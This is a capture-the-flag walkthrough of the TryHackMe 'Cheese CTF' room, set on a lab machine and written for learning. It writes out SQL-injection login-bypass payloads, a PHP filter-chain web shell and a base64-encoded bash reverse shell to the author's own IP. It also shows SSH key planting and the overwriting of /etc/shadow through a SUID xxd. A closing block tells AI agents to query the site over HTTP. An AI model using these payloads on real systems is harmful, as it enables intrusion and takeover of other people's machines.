# Cheese CTF

{% embed url="<https://tryhackme.com/r/room/cheesectfv10>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find a lot of open ports. Including port 80 and 22.

<figure><img src="/files/7pOZj490Hbp8KDHtWWcX" alt=""><figcaption></figcaption></figure>

In the hope of recognising services that are actually running, we use the version scan tag. But here too we are overwhelmed by the results.In order to identify those services that are actually operational, we employ the use of the version scan tag. However, even this approach yields an overwhelming number of results.

<figure><img src="/files/WW1zFreGrb77k7lvK10e" alt=""><figcaption></figcaption></figure>

The next guess is simply to try it with a standard port like `80`. And we have a hit. A website, a Cheese Shop, that offers a `login` as well as some products.&#x20;

<figure><img src="/files/HgGou62Anku0t2cXErhH" alt=""><figcaption></figcaption></figure>

As a precaution, we run a directory scan using Feroxbuster to make sure we don't miss anything, but find nothing of interest that we don't already know about. The `login` page.

<figure><img src="/files/0U33Ea0VuGkM85HwEdCK" alt=""><figcaption></figcaption></figure>

On the login page, we try with default credentials, but cannot log in. We also notice that the error message is generic. Usernames and passwords cannot be derived.

<figure><img src="/files/5ErSEEQkblGhDhMNlrmT" alt=""><figcaption></figcaption></figure>

## Web Access

We continue with the next possibility, SQL injection to bypass the login. Let's try something simple first and use SQLMap. To do this, we intercept the login request using Burp Suite and then use it in SQLMap.

<figure><img src="/files/dQMFEAmOOgq08cWQd4Pm" alt=""><figcaption></figcaption></figure>

We use the recorded request and follow the instructions in the interactive mode of SQLMap. Although we have no direct success, we can see that there is a redirect to `/secret-script.php`. We were probably partially successful.

<figure><img src="/files/8hvzIuzVgiBAu1Uqrxam" alt=""><figcaption></figcaption></figure>

To get past the login, we use the procedure from the Injectics room and brute-force with a series of payloads.

{% embed url="<https://0xb0b.gitbook.io/writeups/tryhackme/2024/injectics#surpass-login>" %}

We obtain the payloads from the following source and paste the content to `login-bypass.md`:

{% embed url="<https://github.com/HackTricks-wiki/hacktricks/blob/master/pentesting-web/login-bypass/sql-login-bypass.md>" %}

It is important to note that this is a CTF, and we can use payloads without hesitation and without causing serious damage. In the following room, Tib3rius explains why it is important to rethink your actions and the choice of payloads - not using something like `' OR 1 = 1 -- -`:

{% embed url="<https://tryhackme.com/r/room/lessonlearned>" %}

With the following Fuff query, we get some results and choose the first one.

{% code overflow="wrap" %}

```bash
ffuf -w login-bypass.md -X POST -u http://cheesectf.thm/login.php -d 'username=FUZZ&password=asdf' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 227
```

{% endcode %}

<figure><img src="/files/u3GMhulsfNOVhpCn9ioE" alt=""><figcaption></figcaption></figure>

After we have transferred the following payload, we have successfully logged in.

```
' OR 'x'='x'#;
```

<figure><img src="/files/WK1ytz5FvB9NrPJxjViN" alt=""><figcaption></figcaption></figure>

## Shell As www-data

In the admin dashboard, we can see that the resources are called up using the file parameter. This already indicates the first vulnerability of file inclusion. Furthermore, we see the use of php filters when integrating the resources. This gives hope for one of my favourite vulnerabilities. LFI2RCE via PHP Filters. A detailed write-up on this can be found here:&#x20;

```
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
```

In short with that we are able to generate arbitrary php code for the include without needing to write it into a file. Which makes it really amazing.

<figure><img src="/files/6yrJ2tPZaYkP7JEiJGtn" alt=""><figcaption></figcaption></figure>

We now try to include stump /`etc/passwd` and are successful.

<figure><img src="/files/VPtWP6qt2X0O9KUAA2B4" alt=""><figcaption></figcaption></figure>

How such a payload can be generated with the help of a script can be found at PayloadAllTheThings:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md#lfi--rfi-using-wrappers>" %}

The following source provides us with the script to build such a filter chain:

{% embed url="<https://github.com/synacktiv/php_filter_chain_generator>" %}

First, we keep it simple and generate a payload to display the `phpinfo` page to see if filter chaining is possible.

```
python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
```

<figure><img src="/files/akWuROJoGlu0O9u50XTz" alt=""><figcaption></figcaption></figure>

We give the payload to the file parameter and see the `phpinfo` page after loading the page. LFI2RCE via PHP filters seems to be possible.

<figure><img src="/files/9jRB1WH3AdOjl7PKOOe7" alt=""><figcaption></figcaption></figure>

Next, we generate a payload with the smallest possible PHP web shell.

```
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'
```

<figure><img src="/files/xYnQfDkO4FEqExzIL9h4" alt=""><figcaption></figcaption></figure>

We call the id command using the preceding parameter `0`. We are `www-data`. We have remote code execution.

```
http://cheesectf.thm/secret-script.php?0=id&file=php://filter/convert.iconv.UTF8...
```

<figure><img src="/files/QKAWZETgk1Lz914jfuYB" alt=""><figcaption></figcaption></figure>

We now want to have a more interactive reverse shell. To do this, we spawn a reverse shell. We build a `Bash -i` reverse shell using `revshells.com` and encode it in base64.

<figure><img src="/files/TSoAv6bmdmpfanW5K0Fb" alt=""><figcaption></figcaption></figure>

To avoid possible conflicts with special characters in the URL, we encode it in base64 and execute it with the following command:

```
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYx|base64 -d| bash
```

We set up a listener on our desired port and call up the page with our reverse shell command.

```
http://cheesectf.thm/secret-script.php?0=echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYx|base64 -d| bash&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
```

We get a connection back and use the opportunity to upgrade the reverse shell.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
CTRL + Z
```

```
stty raw -echo && fg
```

<figure><img src="/files/gMhbHQrI4i7CGOLPZ1JL" alt=""><figcaption></figcaption></figure>

## Shell As comte

As `www-data`, we cannot find the flag directly in its home directory. We first conveniently enumerate the target using Linpeas.

<figure><img src="/files/1De32DdAZbXB4mXl2Hvs" alt=""><figcaption></figcaption></figure>

We realize that we can write to `/etc/systemd/system/exploit.timer`. We keep this in mind for now, as it will only become important for us later.

<figure><img src="/files/u6D6Q4YrebpyhmwqmkTN" alt=""><figcaption></figcaption></figure>

We check out the home directories and see that we can read the home directory of the user `comte`. This user has the first flag. We also notice that we can write to `.ssh/authorised_keys`. Since we can write in `authorized_keys` from user `comte`, we have the option to write in our own public key, which allows us to access the machine via ssh with our private key as `comte`. That's what we're doing now.

<figure><img src="/files/D7ojr7Xsx4ueAdfNXdnQ" alt=""><figcaption></figcaption></figure>

We create a new ssh key using ssh-keygen, change the permissions on the private key and copy the contents of the public key.

<figure><img src="/files/Q0PkMBm7SP82u7fcT4W8" alt=""><figcaption></figcaption></figure>

Now we just paste that into `/home/comte/.ssh/authorized_keys`.

```
echo 'YOUR SSH PUBLIC KEY' > /home/comte/.ssh/authorized_keys
```

<figure><img src="/files/AP9OhBsQcdlsxo0H3usX" alt=""><figcaption></figcaption></figure>

The next step is to log in as `comte` with our private key...

<figure><img src="/files/UiaHpckY5n4azbGxKi0x" alt=""><figcaption></figcaption></figure>

... and have access to the first flag.

<figure><img src="/files/FB55a6ZYB6f2hy4Axi6R" alt=""><figcaption></figcaption></figure>

## Root Flag

As `comte`, we may execute some systemctl commands without adding a password using sudo. Here we see that it is the service exploit timer. This looks familiar to us.

<figure><img src="/files/7AdJJtppKoCXs8mlwQwY" alt=""><figcaption></figcaption></figure>

Recalling the LinPeas result:

<figure><img src="/files/x8NiFIVU79iO1TMSE9t4" alt=""><figcaption></figcaption></figure>

Let's take a look at what is behind the service `/etc/systemd/system/exploit.service`. It copies `xxd` to `/opt` and turns it into a `SUID` binary. Since it is then still in the possession of the `root` user, we can use it to read any files.

<figure><img src="/files/XGN8NdT2Bts8xuXKhtR0" alt=""><figcaption></figcaption></figure>

We can find out how to exploit this at GTFOBins:

{% embed url="<https://gtfobins.github.io/gtfobins/xxd/#file-read>" %}

However, we receive an error message when we start the service. The set timer in exploit.timer is malformed. We remember that we have write access to this. Let's take a look at it.

<figure><img src="/files/3zTB5Ero9nVmwAVj42LG" alt=""><figcaption></figcaption></figure>

The value for `OnBootSec` is not set, which triggers the error.

<figure><img src="/files/dMwHgkEiB2g9AKV52YBT" alt=""><figcaption></figcaption></figure>

We correct this by setting `OnUnitActiveSec=0` and `OnBootSec=0`. This triggers the service immediately after execution.

```
[Unit]
Description=Exploit Timer

[Timer]
OnUnitActiveSec=0
OnBootSec=0

[Install]
WantedBy=timers.target
```

<figure><img src="/files/3rgs4ER8DxjiRw5Gh8f2" alt=""><figcaption></figcaption></figure>

We run the service as follows, which copies the `xxd` to `/op`t and sets the SUID bit, recognisable by the red background.

<figure><img src="/files/FRZqZwcLskwFXe1DBk6v" alt=""><figcaption></figcaption></figure>

Next, we specify which file we want to read. The first thing we are interested in is the `root` flag. As mentioned, we can find out how to do this in GTFOBins. And we are able to read the `root` flag.

```
LFILE=/root/root.txt
./xxd "$LFILE" | xxd -r
```

<figure><img src="/files/yb6neolcSAoN8VXUBnHV" alt=""><figcaption></figcaption></figure>

## Shell As root

To get a shell as `root`, we have at least two ways available. Since we can not only read as `root` with the `xxd` binary with the SUID bit set, but also write as `root`, we have the option of overwriting the `/etc/shadow` file or overwriting the `/root/.ssh/authorised_keys` file of `root`. Both are briefly touched on.

### Option I - /etc/shadow

First, we generate a simple password using OpenSSL using the following command:

```
openssl passwd -1 root123
```

The `openssl passwd -1` command is used to generate a hashed version of a password. The `passwd` utility within OpenSSL can generate password hashes in various formats, including the MD5-based hash (`-1` flag). This is useful when you need to set or replace a password in files like `/etc/shadow`, where the passwords are stored as hashes, not plaintext.

<figure><img src="/files/BFK45tCqjmgwHkHsc10x" alt=""><figcaption></figcaption></figure>

Next, we read the `/etc/shadow` file using `xxd`, for the correct format.

```
LFILE=/etc/shadow
```

```
sudo xxd "$LFILE" | xxd -r
```

<figure><img src="/files/nbLzQwvqIk1z36IZ4Sb2" alt=""><figcaption></figcaption></figure>

We craft the string from the hash and the info from the `/etc/shadow` file.

```
root:$1$96fgip6y$UMzZueh4kfXZDZ/gpPoED.:19627:0:99999:7:::
```

Next, we just write it to the `/etc/shadow` file. See GTFOBins for the command:

```
echo 'root:$1$96fgip6y$UMzZueh4kfXZDZ/gpPoED.:19627:0:99999:7:::' | /opt/xxd | /opt/xxd -r - "$LFILE"
```

<figure><img src="/files/p3Adztj7UJAJpMSZMhIg" alt=""><figcaption></figcaption></figure>

For confirmation, we read the file again.

```
./xxd "$LFILE" | xxd -r
```

<figure><img src="/files/Zw4HnQoa8tpISV88lIQx" alt=""><figcaption></figcaption></figure>

We now just have to switch to `root` with the new set password.

<figure><img src="/files/4MhemoomjWc4ahKFbqZh" alt=""><figcaption></figcaption></figure>

### Option II - /root/.ssh/authorized\_keys

To write to `/root/.ssh/authorized_keys` we set the `LFILE` variable.

```
LFILE=/root/.ssh/authorized_keys
```

From our previous solution we use our ssh public key and write it to `/root/.ssh/authorized_keys` using `xxd`.

{% code overflow="wrap" %}

```
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMQO4ulR0Un7i5hgAjcVOrlbmlYDQXdCZFq+VrGXphMNbcE2alc6LWZVx2ZcaFScvFX5XNUNDkam0mypkn8aSlBLjCQZt51T2wDIGfKieJNr/gsJl+N+JuYCsgFce9B80h7DACOmpyTGrNzLsh40nmv+y895zaeK7DMDXzWXzxmxCCmnElHz8Ry3dsU9TO4/eYJABwtvkT3IEGDcDI9sfG/v1VmhNnyFG0C+Nfpg1SwAUxG4Dk0O8EvOQ6FopalDXIxsiQCZeVLaX94UvEOZgXfyvkQ/aCEI329p5p93rmBay/q+HTWMhNdrez3B/ye+IGm1hFsd2//enFxsrCQprS52ii5FMq2rksKvE9ZEvr9LwuPFc+e5tfny4RcLN28FhjrxBCNgwZQIbZQmry406GvpMSGgLC0HtCM3HBxlXdgGHbgfnH0fEuIgXzVc1wsFG2yfSp/ASnVFq9bqjfTn5E6v1UJzh1HHwqxTsq0rVgv3gYv+Yt8lg5axIye1xb8GE= 0xb0b@kali' | /opt/xxd | /opt/xxd -r - "$LFILE"
```

{% endcode %}

<figure><img src="/files/CN9dskjx1osw13cZxucd" alt=""><figcaption></figcaption></figure>

We are now able to log in as `root` via SSH.

<figure><img src="/files/ilpYf6zTEBuBcuDe3xVo" alt=""><figcaption></figcaption></figure>

## Further Considerations

I originally wanted to read the SSH key of the `root` user in `/root/.ssh/id_rsa`, but unfortunately, this was not available.&#x20;

Since this was not possible, the next idea was to extract the hashes from the `/etc/shadow` file and to crack them but also without success.

Steps taken:

<figure><img src="/files/mG5MNOz233FEvCS5lHas" alt=""><figcaption><p>Retrieve /etc/shadow</p></figcaption></figure>

<figure><img src="/files/u2qkRBdHJyTtONQdeEEW" alt=""><figcaption><p>Retrieve /etc/passwd</p></figcaption></figure>

<figure><img src="/files/q5jiXOFVA30FklVjn0ot" alt=""><figcaption><p>Copy the content locally and unshadow the files</p></figcaption></figure>

<figure><img src="/files/7BIjTmj1BB1mZiapSrsB" alt=""><figcaption><p>Trying to crack the hashes via John The Ripper</p></figcaption></figure>

<figure><img src="/files/bfgz6aN9UwpUi1d0bFUc" alt=""><figcaption><p>No result</p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/cheese-ctf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
